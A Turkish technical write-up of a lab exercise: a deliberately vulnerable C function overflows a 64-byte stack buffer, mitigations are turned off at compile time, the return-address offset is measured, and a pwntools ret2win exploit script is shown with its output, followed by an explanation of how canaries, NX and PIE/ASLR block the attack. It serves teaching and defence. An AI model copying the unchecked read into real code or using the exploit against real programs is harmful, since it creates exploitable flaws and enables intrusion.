Kutunun diğer yarısı

Active Directory serisi bir ele geçirmenin Windows yarısını anlatıyor. Bu yazı diğer yarıyı ele alıyor: girdisine güvenen bir Linux programı ve “çöktü” durumunu “instruction pointer’ı kontrol ediyorum”a çeviren mekanik adımlar. Anlatı biçimi yazdığım her şeyle aynı — keşif yap, istismar et, sonra geride ne bıraktığını söyle — tek fark, hedefin bir domain değil tek bir stack frame olması. Ölçek küçülse de mantık aynı kalıyor: önce hedefi tanı, sonra zayıf noktayı kullan, en sonunda da ne elde ettiğini kanıtla. Bir programın girdisine ne kadar güvendiği çoğu zaman tek bir sistem çağrısında gizlidir; bu yazıda o çağrı read ve hata da tam olarak orada başlıyor.

Bunu gcc ve pwntools kurulu bir Linux konteynerinde yapıyorum; çünkü bu teknik gerçekten bu ortamda yaşıyor. Konteyner, deneyi tekrarlanabilir tutarken modern bir dağıtımın varsayılan korumalarını da gözlemleyebileceğim bir zemin sağlıyor.

256 bayt okuyan 64 baytlık buffer

Zafiyet bilerek küçük tutulmuş; böylece tüm mekanizma tek bakışta anlaşılıyor. parse_session_hdr 64 baytlık bir buffer tanımlıyor ama içine 256 bayta kadar okuyor:

void parse_session_hdr() {
    char token[64];
    int n = read(0, token, 256);   // 256 bytes into a 64-byte buffer
    write(1, "[*] parsed: ", 12);
    write(1, token, n);
}

Derleyici bunu daha derleme anında söylüyor: warning: 'read' writing 256 bytes into a region of size 64 overflows the destination. Gerçek zafiyetler tam olarak bu kadar sıkıcıdır: eksik bir boyut kontrolü ya da yanlış yazılmış bir boyut sabiti. Buradaki hata read çağrısının üçüncü argümanında; buffer’ın kapasitesi ile okunacak bayt sayısı birbirinden bağımsız iki sayı olarak yazılmış ve ikincisi birinciden büyük.

Mekaniğin görünür olması için derlerken modern mitigasyonları kapatıyorum:

$ gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none -o authd authd.c

Sonra checksec bana neyle çalıştığımı söylüyor:

$ checksec ./authd
    Arch:       amd64-64-little
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments

Canary yok, PIE yok ve executable stack. Bunların her biri normalde açık olan bir korumadır ve her birinin yokluğu belirli bir saldırıyı mümkün kılar. Onları adlandırmak, bu yazının genelleşen kısmı: canary, buffer ile return address arasında duran rastgele değer sayesinde üzerine yazmayı ret çalışmadan yakalar; PIE kod tabanının her çalıştırmada taşınmasını sağlar; NX ise stack’e koyduğun verinin kod olarak yürütülmesini engeller. Üçü de kapalıyken geriye tek bir soru kalıyor: offset kaç?

Offset, hesabın söylediği yerde değil

Saf hesap 64 (buffer) + 8 (saved RBP) = 72. 72 tane A besle, ardından bir adres koy; RIP’in kontrolünün sende olması beklenir. Burada öyle olmuyor — süreç hiçbir şey olmamış gibi normal dönüyor. Payload’ı biraz daha uzattığında ise segfault alıyorsun:

$ ./authd < <(python3 -c "print('A'*200)")
[*] parsed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Segmentation fault (core dumped)

Saf offsetin yanlış olmasının nedeni, derleyicinin hizalama için stack frame’e dolgu eklemesi; bu yüzden return address buffer + 72 adresinde değil. Payload uzunluklarını deneyerek kontrolün gerçekten seçtiğin adrese düştüğü noktayı aradığında sayı 88’de sabitleniyor:

offset  64: no (rc=0)
offset  72: no (rc=0)
offset  88: WIN
offset  96: no (rc=-11)

Bu tablo dersin kendisi. 64 + 8 bir tahmindir, ölçülmüş bir offset değil. Gerçek sayı, çökmenin nerede olduğunu izlemekten çıkar: normal bir lab’da cyclic pattern (cyclic 200 / cyclic_find) ile, debugger takılı değilken ise uzunlukları sabırla deneyerek. Önemli olan offseti ölçmek; varsaymak değil. Bu alışkanlık, farklı bir derleyici sürümü ya da farklı bir optimizasyon seviyesiyle karşılaştığında seni yanılmaktan kurtarır. Aynı kaynak kodu, farklı bayraklarla derlendiğinde bambaşka bir frame üretebilir; bu yüzden offset her hedef için yeniden doğrulanmalıdır.

Ret2win: RIP’i bayrağa yönlendir

Hedef binary, hiçbir yerde çağrılmayan bir win() fonksiyonu içeriyor. Amaç tam olarak bu: return address’in üzerine yaz, ret komutu win()’in içine düşsün.

from pwn import *

e = ELF("./authd")
win = e.symbols["win"]        # 0x401166
offset = 88
payload = b"A" * offset + p64(win)

p = process("./authd")
p.send(payload)
print(p.recvall(timeout=2).decode(errors="replace"))

Seksen sekiz A buffer’ı, dolguyu ve saved base pointer’ı doldurur; sonraki sekiz bayt return address’i 0x401166 ile ezer; parse_session_hdr döndüğünde yürütme win()’e atlar:

[*] parsed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...f@
[+] win() reached - RIP is yours

Bu tek satır, işin karşılığının tamamı: instruction pointer artık saldırganın kontrolünde. win() içinde system("/bin/sh") çağrıldığını varsayarsak, gerçek bir engagement’ta o satır shell’in düştüğü andır. Yani “çökme” ile “kod çalıştırma” arasındaki mesafe, doğru ölçülmüş tek bir offset kadar.

Asıl içerik mitigasyonlar

Üç korumayı geri açmak problemi tamamen değiştirir; çünkü her biri saldırının farklı bir aşamasını hedef alır:

  • Canary (-fstack-protector): buffer ile return address arasına rastgele bir değer koyar. Üzerine yazma ret çalışmadan önce fark edilir; yani kör bir overwrite, çalıştırılmak yerine yakalanır.
  • NX (non-executable stack): RIP kontrolü elinde olsa bile stack’e yerleştirdiğin shellcode’a atlayamazsın; ROP ya da return-to-libc gibi başka bir teknik gerekir.
  • PIE + ASLR: kod tabanı her çalıştırmada yer değiştirir; bu yüzden 0x401166 gibi sabit bir adres işe yaramaz ve önce bir bellek sızıntısı elde etmen gerekir.

Bunların her biri, bir operatörün bir derleme bayrağı ya da bir sysctl ile açabileceği bir kontrol. Tek tek ele alındığında her koruma aşılabilir görünebilir; birlikte çalıştıklarında ise saldırının maliyetini kat kat artırır ve çoğu zaman sıradan bir hatayı sömürülemez hale getirir. Bu notun savunmacı yarısı da tam olarak burada: aynı mekanizmayı bilmek, hangi korumanın hangi adımı kestiğini bilmek demek.

Özet

AdımKomut / sonuç
Hedefi derlegcc -fno-stack-protector -z execstack -no-pie ...
Mitigasyonları incelechecksec → canary yok, PIE yok, RWX stack
Overflow’u kanıtla200 A → Segmentation fault
Offseti ölç88, saf 72 değil
RIP’i yönlendirb"A"*88 + p64(win) → [+] win() reached
STACK FRAME YERLEŞİMİ · KAYITLI RIP İÇİN ÖLÇÜLEN 88 BAYT OFFSET 1 · Frame buffer token[64] + 16B dolgu read(0, token, 256) 2 · Kayıtlı RBP (+80..88) toplam 88 bayt önek derleyici hizalama boşluğu 3 · Kayıtlı RIP (+88) p64(0x401166) → win() instruction pointer kontrolü
Saf hesabın neden yanıldığı: 64 baytlık buffer ile 8 baytlık kayıtlı RBP arasında 16 baytlık derleyici hizalaması yer alır ve dönüş adresini 88. bayta taşır.

Kanıt ve sınırlar

Zafiyetli authd ikili dosyası, koruma mekanizmalarının gürültüsü olmadan ham stack frame geometrisini göstermek amacıyla izole bir x86-64 Linux konteyneri içinde (gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none) derlenmiş ve istismar edilmiştir. Modern Linux dağıtımlarında varsayılan olarak açık gelen stack canary, NX, PIE ve ASLR korumaları, ayrı bir bellek sızıntısı ve ROP zinciri olmadan sabit adresli ret2win üzerine yazma işlemini engeller. Bu yazıdaki sonuçlar, korumaların bilinçli olarak kapatıldığı bu izole ortama aittir; korumalı bir sistemde aynı adreslerle doğrudan tekrar edilemez.

Referanslar

Kaynaklar ve güncellik

Bu teknik not ne kadar güncel?

Kontrol edilen kaynaklar6 Kasım 2026

En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.

İnceleme DurumuKamuya açık kaynaklar incelendi

Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.